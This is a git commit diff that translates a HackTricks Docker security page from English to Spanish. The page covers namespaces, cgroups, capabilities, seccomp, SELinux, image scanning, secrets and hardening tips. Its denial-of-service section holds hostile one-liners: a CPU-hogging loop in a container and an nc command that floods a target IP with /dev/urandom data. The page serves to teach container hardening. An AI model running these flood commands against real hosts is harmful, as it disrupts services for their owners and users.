Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-01-02 19:21:12 +00:00
parent 402ee60c5c
commit 1e03d976a7
227 changed files with 6278 additions and 9693 deletions

File diff suppressed because it is too large Load Diff

View File

@ -1,57 +1,46 @@
# Docker Security # Seguridad de Docker
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure> ## **Seguridad Básica del Motor de Docker**
\ El **motor de Docker** emplea los **Namespaces** y **Cgroups** del núcleo de Linux para aislar contenedores, ofreciendo una capa básica de seguridad. Se proporciona protección adicional a través de **Capabilities dropping**, **Seccomp** y **SELinux/AppArmor**, mejorando el aislamiento de los contenedores. Un **auth plugin** puede restringir aún más las acciones del usuario.
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} ![Seguridad de Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
## **Basic Docker Engine Security** ### Acceso Seguro al Motor de Docker
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. El motor de Docker se puede acceder localmente a través de un socket Unix o de forma remota utilizando HTTP. Para el acceso remoto, es esencial emplear HTTPS y **TLS** para garantizar la confidencialidad, integridad y autenticación.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
El motor de Docker, por defecto, escucha en el socket Unix en `unix:///var/run/docker.sock`. En sistemas Ubuntu, las opciones de inicio de Docker se definen en `/etc/default/docker`. Para habilitar el acceso remoto a la API y al cliente de Docker, exponga el demonio de Docker a través de un socket HTTP añadiendo la siguiente configuración:
```bash ```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart sudo service docker restart
``` ```
Sin embargo, exponer el daemon de Docker a través de HTTP no se recomienda debido a preocupaciones de seguridad. Es aconsejable asegurar las conexiones utilizando HTTPS. Hay dos enfoques principales para asegurar la conexión:
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: 1. El cliente verifica la identidad del servidor.
2. Tanto el cliente como el servidor se autentican mutuamente la identidad del otro.
1. The client verifies the server's identity. Se utilizan certificados para confirmar la identidad de un servidor. Para ejemplos detallados de ambos métodos, consulta [**esta guía**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
2. Both the client and server mutually authenticate each other's identity.
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). ### Seguridad de las Imágenes de Contenedor
### Security of Container Images Las imágenes de contenedor pueden almacenarse en repositorios privados o públicos. Docker ofrece varias opciones de almacenamiento para imágenes de contenedor:
Container images can be stored in either private or public repositories. Docker offers several storage options for container images: - [**Docker Hub**](https://hub.docker.com): Un servicio de registro público de Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Un proyecto de código abierto que permite a los usuarios alojar su propio registro.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): La oferta de registro comercial de Docker, que cuenta con autenticación de usuario basada en roles e integración con servicios de directorio LDAP.
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. ### Escaneo de Imágenes
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### Image Scanning Los contenedores pueden tener **vulnerabilidades de seguridad** ya sea por la imagen base o por el software instalado sobre la imagen base. Docker está trabajando en un proyecto llamado **Nautilus** que realiza un escaneo de seguridad de los contenedores y lista las vulnerabilidades. Nautilus funciona comparando cada capa de imagen de contenedor con un repositorio de vulnerabilidades para identificar agujeros de seguridad.
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. Para más [**información lee esto**](https://docs.docker.com/engine/scan/).
For more [**information read this**](https://docs.docker.com/engine/scan/).
- **`docker scan`** - **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: El comando **`docker scan`** te permite escanear imágenes de Docker existentes utilizando el nombre o ID de la imagen. Por ejemplo, ejecuta el siguiente comando para escanear la imagen hello-world:
```bash ```bash
docker scan hello-world docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image. Note that we do not currently have vulnerability data for your image.
``` ```
- [**`trivy`**](https://github.com/aquasecurity/trivy) - [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash ```bash
trivy -q -f json <container_name>:<tag> trivy -q -f json <container_name>:<tag>
``` ```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash ```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high snyk container test <image> --json-file-output=<output file> --severity-threshold=high
``` ```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash ```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
``` ```
### Firma de Imágenes de Docker
### Docker Image Signing La firma de imágenes de Docker garantiza la seguridad e integridad de las imágenes utilizadas en contenedores. Aquí hay una explicación condensada:
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: - **Docker Content Trust** utiliza el proyecto Notary, basado en The Update Framework (TUF), para gestionar la firma de imágenes. Para más información, consulta [Notary](https://github.com/docker/notary) y [TUF](https://theupdateframework.github.io).
- Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada por defecto en Docker versión 1.10 y posteriores.
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). - Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también soportando Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. - Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest".
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Para los envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
Para respaldar tus claves privadas, utiliza el comando:
```bash ```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
``` ```
Al cambiar de hosts de Docker, es necesario mover las claves raíz y del repositorio para mantener las operaciones.
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. ## Características de Seguridad de Contenedores
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
<details> <details>
<summary>Summary of Container Security Features</summary> <summary>Resumen de las Características de Seguridad de Contenedores</summary>
**Main Process Isolation Features** **Características Principales de Aislamiento de Procesos**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: En entornos contenedorizados, aislar proyectos y sus procesos es fundamental para la seguridad y la gestión de recursos. Aquí hay una explicación simplificada de conceptos clave:
**Namespaces** **Namespaces**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. - **Propósito**: Asegurar el aislamiento de recursos como procesos, red y sistemas de archivos. Particularmente en Docker, los namespaces mantienen los procesos de un contenedor separados del host y de otros contenedores.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. - **Uso de `unshare`**: El comando `unshare` (o la llamada al sistema subyacente) se utiliza para crear nuevos namespaces, proporcionando una capa adicional de aislamiento. Sin embargo, aunque Kubernetes no bloquea esto inherentemente, Docker sí lo hace.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. - **Limitación**: Crear nuevos namespaces no permite que un proceso vuelva a los namespaces predeterminados del host. Para penetrar en los namespaces del host, uno típicamente requeriría acceso al directorio `/proc` del host, utilizando `nsenter` para la entrada.
**Control Groups (CGroups)** **Grupos de Control (CGroups)**
- **Function**: Primarily used for allocating resources among processes. - **Función**: Utilizados principalmente para asignar recursos entre procesos.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. - **Aspecto de Seguridad**: Los CGroups en sí no ofrecen seguridad de aislamiento, excepto por la característica `release_agent`, que, si está mal configurada, podría ser explotada para acceso no autorizado.
**Capability Drop** **Caída de Capacidades**
- **Importance**: It's a crucial security feature for process isolation. - **Importancia**: Es una característica de seguridad crucial para el aislamiento de procesos.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - **Funcionalidad**: Restringe las acciones que un proceso raíz puede realizar al eliminar ciertas capacidades. Incluso si un proceso se ejecuta con privilegios de root, la falta de las capacidades necesarias impide que ejecute acciones privilegiadas, ya que las llamadas al sistema fallarán debido a permisos insuficientes.
These are the **remaining capabilities** after the process drop the others:
Estas son las **capacidades restantes** después de que el proceso elimine las otras:
``` ```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
``` ```
**Seccomp** **Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ Está habilitado por defecto en Docker. Ayuda a **limitar aún más las syscalls** que el proceso puede llamar.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) El **perfil de Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor** **AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) Docker tiene una plantilla que puedes activar: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders... Esto permitirá reducir capacidades, syscalls, acceso a archivos y carpetas...
</details> </details>
### Namespaces ### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. **Namespaces** son una característica del núcleo de Linux que **particiona los recursos del núcleo** de tal manera que un conjunto de **procesos** **ve** un conjunto de **recursos** mientras que **otro** conjunto de **procesos** ve un **conjunto** diferente de recursos. La característica funciona al tener el mismo namespace para un conjunto de recursos y procesos, pero esos namespaces se refieren a recursos distintos. Los recursos pueden existir en múltiples espacios.
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: Docker utiliza los siguientes Namespaces del núcleo de Linux para lograr la aislamiento de Contenedores:
- pid namespace - pid namespace
- mount namespace - mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace - ipc namespace
- UTS namespace - UTS namespace
For **more information about the namespaces** check the following page: Para **más información sobre los namespaces** consulta la siguiente página:
{{#ref}} {{#ref}}
namespaces/ namespaces/
@ -179,86 +147,81 @@ namespaces/
### cgroups ### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ La característica del núcleo de Linux **cgroups** proporciona la capacidad de **restringir recursos como cpu, memoria, io, ancho de banda de red entre** un conjunto de procesos. Docker permite crear Contenedores utilizando la característica cgroup que permite el control de recursos para el Contenedor específico.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Containers CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Containers IO. It has a default value of 500 and range between 10 and 1000. A continuación se muestra un Contenedor creado con memoria de espacio de usuario limitada a 500m, memoria del núcleo limitada a 50m, participación de cpu a 512, blkioweight a 400. La participación de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma participación de CPU de 1024, cada Contenedor puede utilizar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla el IO del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
``` ```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
``` ```
Para obtener el cgroup de un contenedor, puedes hacer:
To get the cgroup of a container you can do:
```bash ```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
``` ```
Para más información, consulta:
For more information check:
{{#ref}} {{#ref}}
cgroups.md cgroups.md
{{#endref}} {{#endref}}
### Capabilities ### Capacidades
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar:
{{#ref}} {{#ref}}
../linux-capabilities.md ../linux-capabilities.md
{{#endref}} {{#endref}}
### Seccomp in Docker ### Seccomp en Docker
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: Esta es una característica de seguridad que permite a Docker **limitar las syscalls** que se pueden usar dentro del contenedor:
{{#ref}} {{#ref}}
seccomp.md seccomp.md
{{#endref}} {{#endref}}
### AppArmor in Docker ### AppArmor en Docker
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: **AppArmor** es una mejora del núcleo para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**.:
{{#ref}} {{#ref}}
apparmor.md apparmor.md
{{#endref}} {{#endref}}
### SELinux in Docker ### SELinux en Docker
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. - **Sistema de Etiquetado**: SELinux asigna una etiqueta única a cada proceso y objeto del sistema de archivos.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. - **Aplicación de Políticas**: Aplica políticas de seguridad que definen qué acciones puede realizar una etiqueta de proceso sobre otras etiquetas dentro del sistema.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. - **Etiquetas de Proceso de Contenedor**: Cuando los motores de contenedores inician procesos de contenedor, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. - **Etiquetado de Archivos dentro de Contenedores**: Los archivos dentro del contenedor suelen etiquetarse como `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. - **Reglas de Política**: La política de SELinux asegura principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`.
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. Este mecanismo asegura que incluso si un proceso dentro de un contenedor se ve comprometido, está confinado a interactuar solo con objetos que tienen las etiquetas correspondientes, limitando significativamente el daño potencial de tales compromisos.
{{#ref}} {{#ref}}
../selinux.md ../selinux.md
{{#endref}} {{#endref}}
### AuthZ & AuthN ### AuthZ y AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: En Docker, un plugin de autorización juega un papel crucial en la seguridad al decidir si permitir o bloquear solicitudes al demonio de Docker. Esta decisión se toma examinando dos contextos clave:
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. - **Contexto de Autenticación**: Esto incluye información completa sobre el usuario, como quiénes son y cómo se han autenticado.
- **Command Context**: This comprises all pertinent data related to the request being made. - **Contexto de Comando**: Esto comprende todos los datos pertinentes relacionados con la solicitud que se está realizando.
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. Estos contextos ayudan a asegurar que solo se procesen solicitudes legítimas de usuarios autenticados, mejorando la seguridad de las operaciones de Docker.
{{#ref}} {{#ref}}
authz-and-authn-docker-access-authorization-plugin.md authz-and-authn-docker-access-authorization-plugin.md
{{#endref}} {{#endref}}
## DoS from a container ## DoS desde un contenedor
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. Si no estás limitando adecuadamente los recursos que un contenedor puede usar, un contenedor comprometido podría causar un DoS al host donde se está ejecutando.
- CPU DoS
- DoS de CPU
```bash ```bash
# stress-ng # stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop # While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
``` ```
- DoS de ancho de banda
- Bandwidth DoS
```bash ```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
``` ```
## Banderas de Docker Interesantes
## Interesting Docker Flags ### Banderas --privileged
### --privileged flag En la siguiente página puedes aprender **qué implica la bandera `--privileged`**:
In the following page you can learn **what does the `--privileged` flag imply**:
{{#ref}} {{#ref}}
docker-privileged.md docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges #### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. Si estás ejecutando un contenedor donde un atacante logra acceder como un usuario de bajo privilegio. Si tienes un **binario suid mal configurado**, el atacante puede abusar de él y **escalar privilegios dentro** del contenedor. Lo que puede permitirle escapar de él.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
Ejecutar el contenedor con la opción **`no-new-privileges`** habilitada **prevendrá este tipo de escalada de privilegios**.
``` ```
docker run -it --security-opt=no-new-privileges:true nonewpriv docker run -it --security-opt=no-new-privileges:true nonewpriv
``` ```
#### Otro
#### Other
```bash ```bash
#You can manually add/drop capabilities with #You can manually add/drop capabilities with
--cap-add --cap-add
@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with # You can manually disable selinux in docker with
--security-opt label:disable --security-opt label:disable
``` ```
Para más opciones de **`--security-opt`** consulta: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) ## Otras Consideraciones de Seguridad
## Other Security Considerations ### Gestión de Secretos: Mejores Prácticas
### Managing Secrets: Best Practices Es crucial evitar incrustar secretos directamente en las imágenes de Docker o usar variables de entorno, ya que estos métodos exponen tu información sensible a cualquiera con acceso al contenedor a través de comandos como `docker inspect` o `exec`.
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. **Los volúmenes de Docker** son una alternativa más segura, recomendada para acceder a información sensible. Pueden ser utilizados como un sistema de archivos temporal en memoria, mitigando los riesgos asociados con `docker inspect` y el registro. Sin embargo, los usuarios root y aquellos con acceso `exec` al contenedor aún podrían acceder a los secretos.
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. **Los secretos de Docker** ofrecen un método aún más seguro para manejar información sensible. Para instancias que requieren secretos durante la fase de construcción de la imagen, **BuildKit** presenta una solución eficiente con soporte para secretos en tiempo de construcción, mejorando la velocidad de construcción y proporcionando características adicionales.
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. Para aprovechar BuildKit, se puede activar de tres maneras:
To leverage BuildKit, it can be activated in three ways: 1. A través de una variable de entorno: `export DOCKER_BUILDKIT=1`
2. Prefijando comandos: `DOCKER_BUILDKIT=1 docker build .`
1. Through an environment variable: `export DOCKER_BUILDKIT=1` 3. Habilitándolo por defecto en la configuración de Docker: `{ "features": { "buildkit": true } }`, seguido de un reinicio de Docker.
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
BuildKit permite el uso de secretos en tiempo de construcción con la opción `--secret`, asegurando que estos secretos no se incluyan en la caché de construcción de la imagen o en la imagen final, utilizando un comando como:
```bash ```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file . docker build --secret my_key=my_value ,src=path/to/my_secret_file .
``` ```
Para los secretos necesarios en un contenedor en ejecución, **Docker Compose y Kubernetes** ofrecen soluciones robustas. Docker Compose utiliza una clave `secrets` en la definición del servicio para especificar archivos secretos, como se muestra en un ejemplo de `docker-compose.yml`:
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
```yaml ```yaml
version: "3.7" version: "3.7"
services: services:
my_service: my_service:
image: centos:7 image: centos:7
entrypoint: "cat /run/secrets/my_secret" entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
secrets: secrets:
my_secret: - my_secret
file: ./my_secret_file.txt secrets:
my_secret:
file: ./my_secret_file.txt
``` ```
Esta configuración permite el uso de secretos al iniciar servicios con Docker Compose.
This configuration allows for the use of secrets when starting services with Docker Compose. En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pueden gestionar aún más con herramientas como [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Los controles de acceso basados en roles (RBAC) de Kubernetes mejoran la seguridad de la gestión de secretos, similar a Docker Enterprise.
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
### gVisor ### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. **gVisor** es un núcleo de aplicación, escrito en Go, que implementa una parte sustancial de la superficie del sistema Linux. Incluye un runtime de [Open Container Initiative (OCI)](https://www.opencontainers.org) llamado `runsc` que proporciona un **límite de aislamiento entre la aplicación y el núcleo del host**. El runtime `runsc` se integra con Docker y Kubernetes, lo que facilita la ejecución de contenedores en sandbox.
{% embed url="https://github.com/google/gvisor" %} {% embed url="https://github.com/google/gvisor" %}
### Kata Containers ### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. **Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y rinden como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
{% embed url="https://katacontainers.io/" %} {% embed url="https://katacontainers.io/" %}
### Summary Tips ### Resumen de Consejos
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. - **No utilice la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. - **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está solo ligeramente restringido por, principalmente, namespaces de Linux, capacidades y cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack. - [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan ninguna capacidad y agregarlas aumenta el alcance de un posible ataque.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. - [**Utilice la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. - [**Limite los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
